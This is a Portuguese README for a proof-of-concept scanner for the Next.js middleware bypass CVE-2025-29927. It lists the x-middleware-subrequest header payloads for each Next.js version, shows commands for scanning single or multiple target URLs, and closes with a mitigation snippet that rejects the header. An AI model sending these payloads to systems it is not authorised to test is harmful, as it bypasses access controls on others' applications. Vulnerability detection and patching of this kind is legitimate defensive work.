
Scanner automatizado de PoC para a vulnerabilidade de bypass de middleware do Next.js CVE-2025-29927. Testa múltiplos payloads x-middleware-subrequest em URLs alvo com varredura concorrente e exportação JSON.
Uma ferramenta robusta de prova de conceito (PoC) para detectar a vulnerabilidade de middleware do Next.js (CVE-2025-29927).
Esta ferramenta testa uma vulnerabilidade crítica em aplicações Next.js onde o cabeçalho x-middleware-subrequest pode ser usado para contornar verificações de segurança implementadas no middleware. O exploit envolve o envio de solicitações HTTP com cabeçalhos maliciosos específicos, variando conforme a versão do Next.js.
De acordo com a pesquisa, existem diferentes payloads para diferentes versões do Next.js:
Versões anteriores à 12.2:
x-middleware-subrequest: pages/_middleware
Versões a partir da 12.2:
x-middleware-subrequest: middleware
ou
x-middleware-subrequest: src/middleware
(se a aplicação usar o diretório src)
Versões mais recentes (como 15.x):
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
ou
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
Nossa PoC testa todos esses payloads automaticamente e reporta qual foi bem-sucedido.
# Clone o repositório ou baixe os arquivos
# Navegue até o diretório
cd poc-nextjs-2025
# Instale os pacotes necessários
pip install -r requirements.txt
python main.py -u https://exemplo.com # Testar uma única URL
python main.py -f alvos.txt # Testar múltiplas URLs de um arquivo
| Opção | Descrição |
|---|---|
-u, --url URL | URL alvo para escanear |
-f, --file ARQUIVO | Arquivo contendo múltiplas URLs para escanear (uma por linha) |
-p, --paths CAMINHOS | Lista de caminhos para testar separados por vírgula (padrão: caminhos comuns) |
-t, --threads N | Número de threads concorrentes (padrão: 5) |
-o, --output ARQUIVO | Salvar resultados em arquivo JSON |
--timeout N | Tempo limite da requisição em segundos (padrão: 10) |
# Escaneamento básico de um único alvo
python main.py -u https://exemplo.com
# Escanear múltiplos alvos com caminhos personalizados
python main.py -f alvos.txt -p /api/users,/admin,/dashboard
# Escanear com maior concorrência e timeout mais longo
python main.py -u https://exemplo.com -t 10 --timeout 15
# Salvar resultados em um arquivo JSON
python main.py -u https://exemplo.com -o resultados_scan.json
O scanner funciona através de:
x-middleware-subrequest conforme as versões do Next.jsSe você descobrir aplicações vulneráveis, aplique estas mitigações:
x-middleware-subrequestexport function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}